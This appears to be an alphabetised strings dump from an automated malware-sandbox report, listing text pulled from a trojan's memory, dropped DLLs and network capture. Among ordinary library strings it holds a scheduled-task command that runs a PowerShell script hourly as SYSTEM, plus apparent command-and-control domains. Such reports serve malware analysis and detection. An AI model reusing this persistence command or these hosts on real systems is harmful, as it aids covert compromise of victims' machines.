Unicode based on Dropped File (UAC.dll.626400535)
ar-sy
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-SY
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-TN
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-YE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ar-ye
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
aracteristics
Unicode based on Dropped File (hhhhh.exe.655875088)
AreFileApisANSI
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
argentina
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
argetedBuild){return;}var styleRules=styleUtil.rulesForStyle(e);if(!targetedBuild){styleUtil.forEachRule(styleRules,function(rule){styleTransformer.documentRule(rule);if(settings.useNativeCSSProperties&&!buildType){applyShim.transformRule(rule);}});}if(setti
Ansi based on Runtime Data (CPK.exe )
argument list too long
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
argument out of domain
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ASDGQERQTYQW/1.0
Ansi based on PCAP Processing (PCAP)
asePriority
Unicode based on Dropped File (ttttt.exe.179545488)
asHandler:function(command){return!!this._handlers[command];},registerHandler:function(command,handler){this._handlers[command]=handler;},unregisterHandler:function(command){delete this._handlers[command];},nextObjectId:function(){return injectedScriptId.toStr
Ansi based on Runtime Data (CPK.exe )
asks /Run /TN
Ansi based on Dropped File (MIO.dll.1862922135)
assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Assistant.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
astIo
Unicode based on Dropped File (ttttt.exe.179545488)
At line:1 char:63
Unicode based on Runtime Data (powershell.exe )
At line:1 char:64
Unicode based on Runtime Data (powershell.exe )
ata.getBoolean("allowDeletingHistory")},numberOfItemsSelected_:function(count){return count>0?loadTimeData.getStringF("itemsSelected",count):""},getHistoryInterval_:function(queryStartTime,queryEndTime){return loadTimeData.getStringF("historyInterval",querySta
Ansi based on Runtime Data (CPK.exe )
atan2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
atchAny MatchAll
Unicode based on Dropped File (ttttt.exe.179545488)
ation
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
ation(cm);}};}function LineView(doc,line,lineN){this.line=line;this.rest=visualLineContinued(line);this.size=this.rest?lineNo(lst(this.rest))-lineN+1:1;this.node=this.text=null;this.hidden=lineIsHidden(doc,line);}function buildViewArray(cm,from,to){var arr
Ansi based on Runtime Data (CPK.exe )
ativeAppIdFilter
Unicode based on Dropped File (ttttt.exe.179545488)
Attributes
Unicode based on Runtime Data (rundll32.exe )
August
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
australian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
AuthenticodeEnabled
Unicode based on Runtime Data (rundll32.exe )
AutoCheckNewVersion = 0
Ansi based on Dropped File (pc64.cfg)
AutoCheckSelect
Unicode based on Runtime Data (rundll32.exe )
AutoConfigCustomUA
Unicode based on Runtime Data (QQBrowser.exe )
AutoConfigURL
Unicode based on Runtime Data (QQBrowser.exe )
AutoDetect
Unicode based on Runtime Data (rundll32.exe )
AutodialDLL
Unicode based on Runtime Data (QQBrowser.exe )
AutoLogger\
Unicode based on Dropped File (ttttt.exe.179545488)
AutoProxyDetectType
Unicode based on Runtime Data (QQBrowser.exe )
auv6`z<aAp
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
aUY?~?S|
Ansi based on Runtime Data (rundll32.exe )
Au{E[+Bw|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
avgsvc
Unicode based on Dropped File (MIO.dll.1862922135)
AVo_^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
AX6P??
Ansi based on Runtime Data (rundll32.exe )
ay00%23492
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ay00%23492:@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ay00;234122Y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ay00;23412}Y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
az-az-cyrl
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
az-AZ-Cyrl
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
az-az-latn
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
az-AZ-Latn
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
az{(0i"S\}+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
A~.>+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
b .W37y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
b!01:GrQo
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
B.reloc
Ansi based on Dropped File (hhhhh.exe.655875088)
B6DD#GEDCR
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
b?????
Ansi based on Runtime Data (rundll32.exe )
b????Y?5g???w~K~??:r????
Ansi based on Runtime Data (rundll32.exe )
B???k
Ansi based on Runtime Data (rundll32.exe )
B?N7RoX??
Ansi based on Runtime Data (rundll32.exe )
backEnqueue
Unicode based on Dropped File (ttttt.exe.179545488)
bad address
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bad allocation
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bad cast
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
Bad escape sequence in string
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bad exception
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bad file descriptor
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bad function call
Ansi based on Dropped File (kokoko.dll.2691425955)
bad locale name
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bad message
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Bad unicode escape sequence in string: four digits expected.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Bad unicode escape sequence in string: hexadecimal digit expected.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bad_address
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bad_file_descriptor
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
BadProxyExpiresTime
Unicode based on Runtime Data (QQBrowser.exe )
Base Class Array'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Base Class Descriptor at (
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
be-BY
Unicode based on Runtime Data (rundll32.exe )
BeginPaint
Ansi based on Dropped File (kokoko.dll.2691425955)
Behavior
Unicode based on Dropped File (UAC.dll.626400535)
BER_RUNDOWN
Unicode based on Dropped File (ttttt.exe.179545488)
BG$@pU&Gj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bg-bg
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bg-BG
Unicode based on Dropped File (hhhhh.exe.655875088)
bhn4ZAmp2Acx2JHpBO50tZvMrE2ny1RHKXA277/bRw8eHCNXX237Sd1C4e6cKceMd2sdI3ydJ31SYXsdYDd1djdyfuwqgt3BoPBCSJjNRFZrzccDtes+vWUUvqJwvr+4XC4Jsxcd4+6+6SUGI1GHD16lAcffJD/4e/8HZaPL3nVWXCSPLTpLB1LbqopZGsQT4aliB5pyaTAtwWQQfAhtJCDqaqRlCtBabBhwnKJIiOLTDfQSOQrTn8czsNIHhUL6J0HO
Ansi based on Runtime Data (CPK.exe )
bind(this));}if(this._delegate)this._delegate.onContextMenu(this.id,contextMenu);contextMenu.show();}_startTabDragging(event){if(event.target.classList.contains('tabbed-pane-close-button'))return false;this._dragStartX=event.pageX;this._tabElement.clas
Ansi based on Runtime Data (CPK.exe )
BINRES
Unicode based on Dropped File (hhhhh.exe.655875088)
BINRESRCHANDLE64
Unicode based on Dropped File (hhhhh.exe.655875088)
BiyGo2'B.|{G
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Bja-JP
Unicode based on Dropped File (hhhhh.exe.655875088)
bjectTypeFilter
Unicode based on Dropped File (ttttt.exe.179545488)
bk.~,n8kQ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
blank
Unicode based on Dropped File (kokoko.dll.2691425955)
ble to query owner>
Unicode based on Dropped File (hhhhh.exe.655875088)
bles providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
Bml"WD'LeS
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bn-IN
Unicode based on Dropped File (UAC.dll.626400535)
BNT;G8VOI0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bo7?*\)
Ansi based on Runtime Data (rundll32.exe )
bolivia
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
boot Preserve: Yes
Unicode based on Dropped File (ttttt.exe.179545488)
BR6002- floating point support not loaded
Unicode based on Dropped File (hhhhh.exe.655875088)
broken pipe
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
BrowseInPlace
Unicode based on Runtime Data (rundll32.exe )
bs-BA-Latn
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bs-ba-latn
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
BsoN$d_U
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bU0@Bo&7Mj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
buffer error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Buffer Flush Timer: %d %ws
Unicode based on Dropped File (ttttt.exe.179545488)
Buffer Flush Timer: not set
Unicode based on Dropped File (ttttt.exe.179545488)
Buffer Size: %d Kb
Unicode based on Dropped File (ttttt.exe.179545488)
Buffer Size: default value
Unicode based on Dropped File (ttttt.exe.179545488)
Buffer-Interface
Unicode based on Dropped File (ttttt.exe.179545488)
Buffering-only
Unicode based on Dropped File (ttttt.exe.179545488)
Buffers Written: %d
Unicode based on Dropped File (ttttt.exe.179545488)
Buffers: default value
Unicode based on Dropped File (ttttt.exe.179545488)
BufferSize
Unicode based on Dropped File (ttttt.exe.179545488)
bx533>12341|^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
bx75&341:3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
BXWixl}QC0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
BypassHTTPNoCacheCheck
Unicode based on Runtime Data (QQBrowser.exe )
BypassSSLNoCacheCheck
Unicode based on Runtime Data (QQBrowser.exe )
BZ?#\?7??]?58?c??
Ansi based on Runtime Data (rundll32.exe )
BzL5X|(>U
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
b~u$r7Ux=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c ai:J$O-i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C D,_0SFi
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c$dk`o
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C%\+LRez
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c)mk/qU e$s7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c+cHOrS2)
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c/Ll[L>ed
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C3$+*0-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C33=123@EFG@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C4>kn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C4|qmBeY9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c:\CPK.pdb
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
C:\sysint\Handle\Release\handle.pdb
Ansi based on Dropped File (hhhhh.exe.655875088)
%LOCALAPPDATA%\Kitty\Kitty.dll
Unicode based on Runtime Data (rundll32.exe )
%APPDATA%\WinSAPSvc\WinSAP.dll
Unicode based on Runtime Data (rundll32.exe )
%TEMP%\psg256B.tmp')
Unicode based on Runtime Data (powershell.exe )
%TEMP%\psg36A2.tmp')
Unicode based on Runtime Data (powershell.exe )
%WINDIR%\
Unicode based on Dropped File (psi.dll.1283195511)
%WINDIR%\system32\apphelp.dll
Unicode based on Runtime Data (rundll32.exe )
%WINDIR%\system32\svchost.exe -k %s%s
Unicode based on Dropped File (kokoko.dll.2691425955)
%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe
Unicode based on Dropped File (psi.dll.1283195511)
C:\winsap_update\CPK.exe
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
C<{-hSYY{3z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c>:6M~<]8P
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c?'N|*
Ansi based on Runtime Data (rundll32.exe )
C??MP
Ansi based on Runtime Data (rundll32.exe )
c?p?E^?4{
Ansi based on Runtime Data (rundll32.exe )
c@I/;o-a(I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c@xtOw.h=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C@}rUOu<sc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
c_Mcw
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C_TIME
Unicode based on Dropped File (hhhhh.exe.655875088)
C`!uM ;#,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ca-ES
Unicode based on Dropped File (UAC.dll.626400535)
Cache
Unicode based on Runtime Data (rundll32.exe )
CacheLimit
Unicode based on Runtime Data (QQBrowser.exe )
CacheManager
Unicode based on Dropped File (ttttt.exe.179545488)
CacheMode
Unicode based on Runtime Data (QQBrowser.exe )
CacheOk
Unicode based on Runtime Data (QQBrowser.exe )
CacheOptions
Unicode based on Runtime Data (QQBrowser.exe )
CachePath
Unicode based on Runtime Data (QQBrowser.exe )
CachePrefix
Unicode based on Runtime Data (QQBrowser.exe )
CacheRepair
Unicode based on Runtime Data (QQBrowser.exe )
Caching
Unicode based on Dropped File (ttttt.exe.179545488)
CACLa^bq;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI
Ansi based on Runtime Data (CPK.exe )
Caller: additions to the zip have already been ended
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Caller: faulty arguments
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Caller: not enough space allocated for memory zipfile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Caller: the file had already been partially unzipped
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Caller: there was a previous error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CallForAttributes
Unicode based on Runtime Data (rundll32.exe )
canadian
Unicode based on Dropped File (hhhhh.exe.655875088)
CaptureState request for logger %I64d
Unicode based on Dropped File (ttttt.exe.179545488)
caragua
Unicode based on Dropped File (hhhhh.exe.655875088)
Category
Unicode based on Runtime Data (rundll32.exe )
cay00%23492
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CBMA$>uX=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CC.dll
Ansi based on Dropped File (UAC.dll.626400535)
ccc.qwepoii.org
Ansi based on PCAP Processing (PCAP)
CCSWITCH
Unicode based on Dropped File (ttttt.exe.179545488)
ce(){return(self.runtime.sharedInstance(Network.NetworkPanel));}_onWindowChanged(event){var startTime=Math.max(this._calculator.minimumBoundary(),event.data.startTime/1000);var endTime=Math.min(this._calculator.maximumBoundary(),event.data.endTime/1000);this
Ansi based on Runtime Data (CPK.exe )
ceEx2
Unicode based on Dropped File (ttttt.exe.179545488)
ceIoControl
Ansi based on Dropped File (kokoko.dll.2691425955)
CEIPEnable
Unicode based on Runtime Data (rundll32.exe )
cense Agreement
Unicode based on Dropped File (hhhhh.exe.655875088)
CertCacheNoValidate
Unicode based on Runtime Data (QQBrowser.exe )
CertificateRevocation
Unicode based on Runtime Data (QQBrowser.exe )
cess. * @param {boolean} accept Whether to accept this invitation. */ processInvitation: function(invitation, accept) { if (!!this.invitationInProgress_) return; this.invitationInProgress_ = invitation; this.cloudPrintIn
Ansi based on Runtime Data (CPK.exe )
cesses.push(process);}return processes;},getAllCounters:function(){var counters=[];counters.push.apply(counters,tr.b.dictionaryValues(this.device.counters));counters.push.apply(counters,tr.b.dictionaryValues(this.kernel.counters));for(var pid in this.processe
Ansi based on Runtime Data (CPK.exe )
CFailed to allocate string value buffer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cF}gr~baS
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cGgAgGkAkgoakg,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ch-belgian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ChangeServiceConfig2W
Ansi based on Dropped File (kokoko.dll.2691425955)
Characteristics
Unicode based on Dropped File (hhhhh.exe.655875088)
ChargeExecution
Unicode based on Dropped File (ttttt.exe.179545488)
Check your Guids file
Unicode based on Dropped File (ttttt.exe.179545488)
CheckInjectThread = 0
Ansi based on Dropped File (pc64.cfg)
chile
Unicode based on Dropped File (hhhhh.exe.655875088)
chinese
Unicode based on Dropped File (hhhhh.exe.655875088)
chinese-hongkong
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
chinese-simplified
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
chinese-singapore
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
chinese-traditional
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
chrome.exe
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
chtasks /Run /TN
Unicode based on Dropped File (psi.dll.1283195511)
Cibw-D(U"N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cies\
Unicode based on Dropped File (UAC.dll.626400535)
cified
Ansi based on Dropped File (ttttt.exe.179545488)
Circular
Unicode based on Dropped File (ttttt.exe.179545488)
Circular Kernel Context Logger
Unicode based on Dropped File (ttttt.exe.179545488)
ck`";aY(?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cKK;/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Cl&ywd:p
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CL6=~Z6hy,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
class
Ansi based on Dropped File (kokoko.dll.2691425955)
Class
Unicode based on Runtime Data (QQBrowser.exe )
Class Hierarchy Descriptor'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
classes.push(key); } } return classes.join(' '); } Polymer({ is: 'paper-drawer-panel', behaviors: [Polymer.IronResizableBehavior], /** * Fired when the narrow layout changes.
Ansi based on Runtime Data (CPK.exe )
cli::array<
Ansi based on Dropped File (kokoko.dll.2691425955)
cli::pin_ptr<
Ansi based on Dropped File (kokoko.dll.2691425955)
client
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
ClientAuthBuiltInUI
Unicode based on Runtime Data (QQBrowser.exe )
ClockType
Unicode based on Dropped File (ttttt.exe.179545488)
ClockType CPU Cycle
Unicode based on Dropped File (ttttt.exe.179545488)
ClockType: PerfCounter
Unicode based on Dropped File (ttttt.exe.179545488)
ClockType: SystemTime
Unicode based on Dropped File (ttttt.exe.179545488)
ClockType: Unknown
Unicode based on Dropped File (ttttt.exe.179545488)
Close handle %X in %s (PID %d)? (y/n)
Unicode based on Dropped File (hhhhh.exe.655875088)
CloseHandle
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CloseServiceHandle
Ansi based on Dropped File (kokoko.dll.2691425955)
CloseThreadpoolTimer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CloseThreadpoolWait
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cloud.firefox1.com
Ansi based on PCAP Processing (PCAP)
CLSID
Unicode based on Dropped File (psi.dll.1283195511)
clusive
Unicode based on Dropped File (hhhhh.exe.655875088)
cmd /c schtasks /Create /SC HOURLY /MO %d /ST 00:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (psi.dll.1283195511)
cmd /c schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST
Ansi based on Process Commandline (cmd.exe)
cmd.exe /c scht
Ansi based on Dropped File (MIO.dll.1862922135)
cmd.exe /c schtasks /Run /TN
Unicode based on Dropped File (psi.dll.1283195511)
cmVqmr%_^T
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CnR]:PK{D
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cntrl
Ansi based on Dropped File (kokoko.dll.2691425955)
coclass
Ansi based on Dropped File (kokoko.dll.2691425955)
CoCreateInstance
Ansi based on Dropped File (kokoko.dll.2691425955)
CoInitializeEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cointerface
Ansi based on Dropped File (kokoko.dll.2691425955)
Com+Enabled
Unicode based on Runtime Data (rundll32.exe )
combase.dll
Unicode based on Dropped File (hhhhh.exe.655875088)
COMDLG32.dll
Ansi based on Dropped File (hhhhh.exe.655875088)
command
Unicode based on Runtime Data (rundll32.exe )
CommandLineToArgvW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
Comments
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
Comments must start with /
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CompanyName
Unicode based on Dropped File (kokoko.dll.2691425955)
CompareStringEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CompareStringW
Ansi based on Dropped File (kokoko.dll.2691425955)
Compatible
Unicode based on Runtime Data (QQBrowser.exe )
Complete Object Locator'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CompleteEvent:function(event){if(event.cat!==undefined&&event.cat.indexOf('trace_event_overhead')>-1)return undefined;var thread=this.model_.getOrCreateProcess(event.pid).getOrCreateThread(event.tid);if(event.flow_out){if(event.flow_in)event.flowPhase=STEP;e
Ansi based on Runtime Data (CPK.exe )
Component Categories
Unicode based on Dropped File (psi.dll.1283195511)
ComputerName
Unicode based on Runtime Data (rundll32.exe )
condition A condition to check for truthiness. Note that this * may be used to test whether a value is defined or not, and we don't want * to force a cast to Boolean. * @param {string=} opt_message A message to show on failure. * @return {T} A no
Ansi based on Runtime Data (CPK.exe )
conds
Unicode based on Dropped File (ttttt.exe.179545488)
Configuring PMC collection...
Unicode based on Dropped File (ttttt.exe.179545488)
Configuring profile source: %ws
Unicode based on Dropped File (ttttt.exe.179545488)
CONIN$
Unicode based on Dropped File (hhhhh.exe.655875088)
connection aborted
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection already in progress
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection refused
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection reset
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection_aborted
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection_already_in_progress
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection_refused
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection_reset
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ConnectRetries
Unicode based on Runtime Data (QQBrowser.exe )
ConnectTimeOut
Unicode based on Runtime Data (QQBrowser.exe )
CONOUT$
Unicode based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
Consent
Unicode based on Dropped File (UAC.dll.626400535)
ConsentPromptBehaviorAdmin
Unicode based on Runtime Data (rundll32.exe )
console device
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ConsoleTracingMask
Unicode based on Runtime Data (QQBrowser.exe )
const
Ansi based on Dropped File (kokoko.dll.2691425955)
constructor(element) { this.element_ = element; this.element_.addEventListener( 'touchstart', this.onTouchStart_.bind(this), { passive: false }); this.element_.addEventListener( 'touchmove', this.onTouch_.bind(this), { passive: tr
Ansi based on Runtime Data (CPK.exe )
container"> <paper-button class="cancel-button" on-tap="cancel_" id="cancel"> $i18n{cancel}</paper-button> <paper-button id="actionButton" class="action-button" on-tap="onActionButtonTap_"> [[actionButtonText_]
Ansi based on Runtime Data (CPK.exe )
Content Type
Unicode based on Runtime Data (rundll32.exe )
Control
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
Control hybrid shutdown logger behavior
Unicode based on Dropped File (ttttt.exe.179545488)
control utility
Unicode based on Dropped File (ttttt.exe.179545488)
ControlService
Ansi based on Dropped File (kokoko.dll.2691425955)
ControlTraceW
Ansi based on Dropped File (ttttt.exe.179545488)
convertEffectInput=function(c){var f=a.normalizeKeyframes(c),g=d(f),h=e(g);return function(a,c){if(null!=c)h.filter(function(a){return c>=a.applyFrom&&c<a.applyTo}).forEach(function(d){var e=c-d.startOffset,f=d.endOffset-d.startOffset,g=0==f?0:d.easingFunction
Ansi based on Runtime Data (CPK.exe )
ConvertSecurityDescriptorToStringSecurityDescriptorW
Ansi based on Dropped File (ttttt.exe.179545488)
Cookies
Unicode based on Runtime Data (rundll32.exe )
CopyFileBufferedSynchronousIo
Unicode based on Runtime Data (rundll32.exe )
CopyFileChunkSize
Unicode based on Runtime Data (rundll32.exe )
CopyFileOverlappedCount
Unicode based on Runtime Data (rundll32.exe )
CopyFileW
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Copyright (C) 1997-2014 Mark Russinovich
Ansi based on Dropped File (hhhhh.exe.655875088)
coree.dll
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CorExitProcess
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Corporation
Unicode based on Dropped File (ttttt.exe.179545488)
Correct password required
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CoSetProxyBlanket
Ansi based on Dropped File (kokoko.dll.2691425955)
costa rica
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Could not parse Group ID in Stack Walking Parameter File.
Ansi based on Dropped File (ttttt.exe.179545488)
Could not start logger: %sOperation Status: %uL%s
Unicode based on Dropped File (ttttt.exe.179545488)
Couldn't create/open file
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CoUninitialize
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CPK.exe
Unicode based on Runtime Data (rundll32.exe )
CPU Cycle
Unicode based on Dropped File (ttttt.exe.179545488)
CPUCycle
Unicode based on Dropped File (ttttt.exe.179545488)
CQ"@?;8%{D
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cqO[an5J
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CrCO/JFk!|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Create /SC HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
CreateDirectoryW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateEventExW
